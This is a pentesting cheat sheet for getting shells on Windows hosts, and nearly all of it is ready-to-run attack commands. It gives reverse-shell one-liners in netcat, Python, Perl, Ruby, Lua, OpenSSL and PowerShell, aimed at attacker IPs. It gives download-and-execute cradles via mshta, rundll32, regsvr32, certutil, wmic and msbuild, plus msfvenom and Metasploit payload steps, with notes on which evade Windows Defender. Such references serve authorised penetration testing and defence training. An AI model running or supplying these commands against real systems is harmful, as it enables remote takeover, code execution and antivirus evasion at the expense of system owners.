Pentesting

Shells - Windows

NC

nc.exe -e cmd.exe <Attacker_IP> <PORT>

SBD

sbd is a Netcat-clone, designed to be portable and offer strong encryption. It runs on Unix-like operating systems and on Microsoft Win32. sbd features AES-CBC-128 + HMAC-SHA1 encryption (by Christophe Devine), program execution (-e option), choosing source port, continuous reconnection with delay, and some other nice features. sbd supports TCP/IP communication only. sbd.exe (part of the Kali linux distribution: /usr/share/windows-binaries/backdoors/sbd.exe) can be uploaded to a Windows box as a Netcat alternative.

Python

#Windows
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"

Perl

perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

#Windows
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Lua

lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

OpenSSH

Attacker (Kali)

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response

Victim

#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

Powershell

powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile

Process performing network call: powershell.exe Payload written on disk: NO (at least nowhere I could find using procmon !)

powershell -exec bypass -f \\webdavserver\folder\payload.ps1

Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache

One liner:

$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Get more info about different Powershell Shells at the end of this document

Mshta

mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))

Process performing network call: mshta.exe Payload written on disk: IE local cache

mshta http://webserver/payload.hta

Process performing network call: mshta.exe Payload written on disk: IE local cache

mshta \\webdavserver\folder\payload.hta

Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache

Example of hta-psh reverse shell (use hta to download and execute PS backdoor)

<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>

You can download & execute very easily a Koadic zombie using the stager hta

hta example

<html>
<head>
<HTA:APPLICATION ID="HelloExample">
<script language="jscript">
var c = "cmd.exe /c calc.exe";
new ActiveXObject('WScript.Shell').Run(c);
</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>

Extracted from here

mshta - sct

<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:C:\local\path\scriptlet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>

Extracted from here

Mshta - Metasploit

use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit

Detected by defender

Rundll32

Dll hello world example

rundll32 \\webdavserver\folder\payload.dll,entrypoint

Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();

Process performing network call: rundll32.exe Payload written on disk: IE local cache

Detected by defender

Rundll32 - sct

<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>

Extracted from here

Rundll32 - Metasploit

use windows/smb/smb_delivery
run
#You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0

Rundll32 - Koadic

use stager/js/rundll32_js
set SRVHOST 192.168.1.107
set ENDPOINT sales
run
#Koadic will tell you what you need to execute inside the victim, it will be something like:
rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close();

Regsvr32

regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll

Process performing network call: regsvr32.exe Payload written on disk: IE local cache

regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache

Detected by defender

Regsvr32 -sct

<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
<scriptlet>
<registration
progid="PoC"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>

Extracted from here

Regsvr32 - Metasploit

use multi/script/web_delivery
set target 3
set payload windows/meterpreter/reverse/tcp
set lhost 10.2.0.5
run
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll

You can download & execute very easily a Koadic zombie using the stager regsvr

Certutil

Download a B64dll, decode it and execute it.

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll

Download a B64exe, decode it and execute it.

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe

Detected by defender

Cscript/Wscript

powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""

Cscript - Metasploit

msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs

Detected by defender

PS-Bat

\\webdavserver\folder\batchfile.bat

Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache

msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
impacket-smbserver -smb2support kali `pwd`
\\10.8.0.3\kali\shell.bat

Detected by defender

MSIExec

Attacker

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
python -m SimpleHTTPServer 80

Victim:

victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi

Detected

Wmic

wmic os get /format:"https://webserver/payload.xsl"

Process performing network call: wmic.exe Payload written on disk: IE local cache

Example xsl file:

<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object Net.WebClient).DownloadString('http://10.2.0.5/shell.ps1') | powershell -noprofile -");
]]>
</ms:script>
</stylesheet>

Extracted from here

Not detected

You can download & execute very easily a Koadic zombie using the stager wmic

Msbuild

cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache

You can use this technique to bypass Application Whitelisting and Powershell.exe restrictions. As you will be prompted with a PS shell. Just download this and execute it: https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj

Not detected

CSC

Compile C# code in the victim machine.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs

You can download a basic C# reverse shell from here: https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc

Not deteted

Regasm/Regsvc

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll

Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache

I haven't tried it

https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182

Odbcconf

odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache

I haven't tried it

https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2

Powershell Shells

PS-Nishang

https://github.com/samratashok/nishang

In the Shells folder there are a lot of different shells. To download and execute Invoke-PowerShellTcp.ps1 make a copy of the script, append to the end of the file:

Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444

Start serving the script in a web server and execute in the victim:

powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"

Defender doesn't detect it as malicious code (yet, 3/04/2019).

TODO: Check other nishang shells

PS-Powercat

https://github.com/besimorhino/powercat

Download, start web server, star listener and execute in victim:

powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"

Defender doesn't detect it as malicious code (yet, 3/04/2019).

Other options offered by powercat:

Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files...

Serve a cmd Shell:
powercat -l -p 443 -e cmd
Send a cmd Shell:
powercat -c 10.1.1.1 -p 443 -e cmd
Send a powershell:
powercat -c 10.1.1.1 -p 443 -ep
Send a powershell UDP:
powercat -c 10.1.1.1 -p 443 -ep -u
TCP Listener to TCP Client Relay:
powercat -l -p 8000 -r tcp:10.1.1.16:443
Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
powercat -c 10.1.1.15 -p 443 -e cmd -g
Start A Persistent Server That Serves a File:
powercat -l -p 443 -i C:\inputfile -rep

Empire

https://github.com/EmpireProject/Empire

Create a powershell launcher, save it in a file and download and execute it.

powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"

Detected as malicious code

MSF-Unicorn

https://github.com/trustedsec/unicorn

Create a powershell version of metasploit backdoor using unicorn

python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443

Start msfconsole with the created resource:

msfconsole -r unicorn.rc

Start a web server serving the powershell_attack.txt file and execute in the victim:

powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"

Detected as malicious code

More

PS>Attack PS console with some offensive PS modules preloaded (cyphered) https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9 WinPWN PS console with some offensive PS modules and proxy detection (IEX)

Bibliography